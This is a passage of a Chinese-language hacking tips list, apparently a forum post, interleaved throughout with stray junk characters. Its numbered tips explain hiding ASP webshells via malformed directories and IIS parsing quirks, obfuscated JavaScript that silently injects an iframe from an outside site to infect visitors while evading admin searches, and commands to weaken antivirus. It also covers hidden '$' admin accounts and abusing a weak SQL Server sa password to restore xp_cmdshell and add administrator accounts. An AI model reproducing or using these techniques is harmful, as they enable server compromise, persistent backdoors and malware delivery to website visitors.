执行后可以用AT命令查看新加的任务
" l) P) m* G5 o# B用AT这个命令以交互的方式运行cmd.exe 这样运行的cmd.exe是system权限。4 E9 v2 b! r. U) b* K# Q' O& [; _
6 @5 W$ w a5 n; m) B R5 L53、隐藏ASP后门的两种方法
, N9 L& _. \; U& u$ q# `& @1、建立非标准目录:mkdir images..\, z$ ?. S! T$ G# E
拷贝ASP木马至目录:copy c:\inetpub\wwwroot\dbm6.asp c:\inetpub\wwwroot\images..\news.asp1 E+ j9 J6 u/ [- D4 F
通过web访问ASP木马:http://ip/images../news.asp?action=login5 I% B* U8 ~5 x2 t: I8 D
如何删除非标准目录:rmdir images..\ /s" J+ I1 I1 N) W
2、Windows中的IIS会对以.asp结尾的目录中的文件进行解析,以达到我们隐藏自己的网页后门的目的:, J N4 t9 v+ @6 v. t
mkdir programme.asp8 p5 A8 q L5 K1 ^& H: c
新建1.txt文件内容:<!--#include file=”12.jpg”-->/ V9 N I* I+ `' C5 i
新建12.jpg文件内容:<%execute(request("l"))%> 或使用GIF与ASP合并后的文件8 ?% w9 b$ |, p/ Q+ W
attrib +H +S programme.asp
8 l" w3 Y. y8 v: q' c% h通过web访问ASP一句话木马:http://ip/images/programme.asp/1.txt
4 F, d4 v. [; w+ W2 O' }
0 ~; G! Z( P- E/ Q$ }( U- S9 e54、attrib /d /s c:\windows +h +s,后windows目录变为隐藏+系统,隐藏属性为灰不可更改,windows目录下面的文件和目录并没有继承属性,原来是什么样还是什么样。$ T- R! U" V% @( z/ b K& P+ @$ S
然后在利用attrib /d /s c:\windows -h -s,windows目录可以显示,隐藏属性可以再次选中。/ j0 f, ~5 v, w( u4 I9 g
( @ U$ m" x2 |! U9 e55、JS隐蔽挂马
- N3 m3 Q, f8 N* a& }1.3 d7 K# y1 q* J
var tr4c3="<iframe src=ht";8 l* t# @& f. k
tr4c3 = tr4c3+"tp:/";
& J j, _ K. p4 ~tr4c3 = tr4c3+"/ww"; w3 o. Q5 G& {& L
tr4c3 = tr4c3+"w.tr4";6 r, d: `; O# \& B% f
tr4c3 = tr4c3+"c3.com/inc/m";
) T* I' `* ?1 v3 l5 xtr4c3 = tr4c3+"m.htm style="display:none"></i";+ \ G/ z: `2 S" N
tr4c3 =tr4c3+"frame>'";
3 R6 A& P Z) n; ldocument.write(tr4c3);
u, A2 @- A4 |+ E' k" y* r" p! q; @0 ~避免被管理员搜索网马地址找出来。把变量名定义的和网站本身的接近些,混淆度增加。
8 i) X; x8 Y: \. i+ {8 H( ~0 }+ k, Y. p& o: K/ D1 @! Q
2.7 Y+ r1 c8 t& `
转换进制,然后用EVAL执行。如
1 \8 R( ~5 j- Deval("\144\157\143\165\155\145\156\164\56\167\162\151\164\145\40\50\42\74\151\146\162\141\155\145\40\163\162\143\75\150\164\164\160\72\57\57\167\167\167\56\164\162\64\143\63\56\143\157\155\57\151\156\143\57\155\155\56\150\164\155\40\163\164\171\154\145\75\42\42\144\151\163\160\154\141\171\72\156\157\156\145\42\42\76\74\57\151\146\162\141\155\145\76\42\51\73");
( m. s* P1 H/ n6 V+ c: |' l不过这个有点显眼。' D4 M& ^: [: E% m. z
3.
1 [' R4 T* \7 l: g5 @document.write ('<iframe src=http://www.tr4c3.com/inc/mm.htm style="display:none"></iframe>');7 z2 K3 w* A E" s3 K' }
最后一点,别忘了把文件的时间也修改下。0 W: {/ g8 p1 m
; I2 C! K8 m n9 {: _2 R
56.3389终端入侵常用DOS命令# a" b7 t9 o5 A
taskkill taskkill /PID 1248 /t2 Y1 s3 e% f) ~9 v5 ~. h
9 H8 i* P' O" F: ]! i$ P) Q* C
tasklist 查进程
& y- `" N4 F2 R& Y5 ^ }2 N a4 {
* _& ^9 Z4 O/ s$ v, E# hcacls "C:\Program Files\ewido anti-spyware 4.0\guard.exe" /d:everyone 改、降低某文件权限+ H+ y, O. L; [1 w$ b2 l7 a
iisreset /reboot
- ?6 o) _+ a* _$ {0 stsshutdn /reboot /delay:1 重起服务器
4 r; Z. j9 ?4 x$ _
5 W9 _% u# s0 jlogoff 12 要使用会话 ID(例如,会话 12)从会话中注销用户,$ K# V: x0 w- R& ` f) ~; `) k8 G
) X% J5 q0 A% P( n+ W9 _/ bquery user 查看当前终端用户在线情况4 i" t6 i1 ], {3 z: Q7 j
% V+ C8 J3 A) t
要显示有关所有会话使用的进程的信息,请键入:query process *
9 q: Z0 i) {/ `* W0 } ?! C4 \3 K2 S9 e& } O% B9 e* f" C
要显示有关会话 ID 2 使用的进程的信息,请键入:query process /ID:2" z+ O, n1 W$ r; t; o
/ e& p' _6 a5 [2 S2 s; _$ H
要显示有关服务器 SERVER2 上所有活动会话的信息,请键入:query session /server:SERVER24 `$ [) }" M% U: \ J" S
* b% z5 E: p7 X
要显示有关当前会话 MODEM02 的信息,请键入:query session MODEM02" X/ f% X0 j& ~
8 \( H: R. T5 r0 X命令列:rundll32.exe user.exe,restartwindows 功能: 系统重启& K+ R+ C0 u, x5 ~
/ }8 f& ^; r$ {* o9 r9 Z( h9 S" i3 o3 N0 Z
命令列:rundll32.exe user.exe,exitwindows 功能: 关闭系统0 A" ?% N% M/ C
# k4 g0 |/ z* e5 b! S! n命令列: rundll32.exe user.exe,restartwindows 功能: 强行关闭所有程式并重启机器。
4 M9 e$ ]. l, g1 K$ Z3 O* }
7 B2 F* l2 @& w. T3 b( b命令列: rundll32.exe user.exe,exitwindows 功能: 强行关闭所有程式并关机
7 G; N6 j0 Q" q% j H
" z2 G. K, V3 M9 E56、在地址栏或按Ctrl+O,输入:! P4 N1 u4 W$ K( V. j% [
javascript:s=document.documentElement.outerHTML;document.write('<body></body>');document.body.innerText=s;4 m! @2 A$ g6 K, T5 ]
# R9 e0 G! \0 x) Y7 ]4 X源代码就出来了。不论加密如何复杂,最终都要还原成浏览器可以解析的html代码,而documentElement.outerHTML正是最终的结果。
1 l8 {; F( t: S
. D6 R0 m" v) Z w: \- N57、net user的时候,是不能显示加$的用户,但是如果不处理的话,& B/ [5 J( L+ k( I7 Q& M, @
用net localgroup administrators是可以看到管理组下,加了$的用户的。
' G% q1 J7 c( P8 l) _; X; ^4 k/ m* z0 j: ?8 D
58、 sa弱口令相关命令3 h0 f X% g+ a9 L& B
' k4 i/ v* q( T7 @7 l' e6 j: v$ o一.更改sa口令方法:
) n2 M" }( e9 j2 \( ^用sql综合利用工具连接后,执行命令:
. y" D3 `! z5 N3 e. Gexec sp_password NULL,'20001001','sa'
& h9 T. r) v) O2 ^6 o(提示:慎用!)
- V# h- `! r3 p4 m# [! H+ q; H/ e2 X* F& S7 P
二.简单修补sa弱口令.
! T3 Q2 [. p9 X2 v: d- N# G1 {6 l" \" f9 [3 n8 z
方法1:查询分离器连接后执行:- ~9 G8 a, v6 ?, ]6 n! O4 t
if exists (select * from
- P$ }: t8 d$ g$ g8 i+ V! _5 ?/ Ndbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and& \) D6 o. g8 `0 j. F7 W9 S
OBJECTPROPERTY(id, N'IsExtendedProc') = 1)6 _: H% D- ]% x) m
8 F8 ~* ~; M, |2 ~
exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'( e, N2 R6 V) F( Z! p9 z& |- s7 {1 A
) F4 l. E+ E. U& k$ b1 u6 ?3 z
GO
4 i8 x) q: }7 j9 `, `/ b y7 q' }3 N6 y9 U" ]
然后按F5键命令执行完毕
- E' F% q" k. S' `+ P& e4 b7 j% G
' y; p" i+ t3 H% n2 }* I方法2:查询分离器连接后
1 J9 w3 @+ w K" _! r. c$ k! x, a第一步执行:use master
3 x! n5 U M! U7 G. [5 w+ ]第二步执行:sp_dropextendedproc 'xp_cmdshell' V- Q: r2 Q$ S
然后按F5键命令执行完毕' h8 y% r! k/ T2 j5 [
0 k3 g a& W0 h U7 \5 I: f) Z9 [1 e
! h" S# e* Z* F3 Z9 P
三.常见情况恢复执行xp_cmdshell.; U0 T) S6 A, F# o
/ ^ c. S2 V0 Z/ ^
) q6 C( f$ ~; _! v5 w% J4 C1 未能找到存储过程'master..xpcmdshell'.- w/ K/ G# W/ v1 R; G
恢复方法:查询分离器连接后,
, N- M7 z* l# X, q2 H: r i第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
4 P9 T) {& u4 x第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
( K. K% Q( q" k9 Z然后按F5键命令执行完毕* c$ R- r) N2 k, X3 {
: n |. R: g0 d& _: b7 l2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
9 I* U2 e3 _, z/ {7 V% @+ C恢复方法:查询分离器连接后,6 [. } x4 S2 k% z2 F5 P: s# |
第一步执行:sp_dropextendedproc "xp_cmdshell"4 I% q, w- i9 `1 Y# o& x
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
r! M. k, H' u0 ?: \然后按F5键命令执行完毕* p; O4 a. j2 e" m. Y. s* k. E
. L3 n" x' S$ {6 ~1 b& v3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
3 \9 }3 k: ~' |: v; c恢复方法:查询分离器连接后,
7 z6 j# A% a/ J" o% ?第一步执行:exec sp_dropextendedproc 'xp_cmdshell'% g B1 v6 v8 V. O- M
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
$ W4 p- a3 E' j4 a! C N0 x然后按F5键命令执行完毕" p: s# t6 I# {; V* \
3 X1 C+ C' f3 {8 V四.终极方法.
: C+ _5 {! [9 w7 d; W. m如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:; e5 h: c# N6 n! v9 j
查询分离器连接后,7 h" [* q. j) U3 W) u
2000servser系统:6 P* ]. Q) g* Q& j' O& E+ }
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 用户名 密码 /add'% K. Z% R" s, Y T
9 A. \/ F9 ?* O& rdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 用户名 /add'
3 j9 |. g0 ]$ a$ b* n4 F
5 X& l) u4 u# _& [xp或2003server系统:: X* g9 I9 m3 y
) h% \5 M9 D- Q8 k6 M! _3 a b! Q% M) @declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 用户名 密码 /add'
1 l( ? J; ^1 q% r) J# \' O& y/ `
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 用户名 /add'
1 r5 e" P! B# c |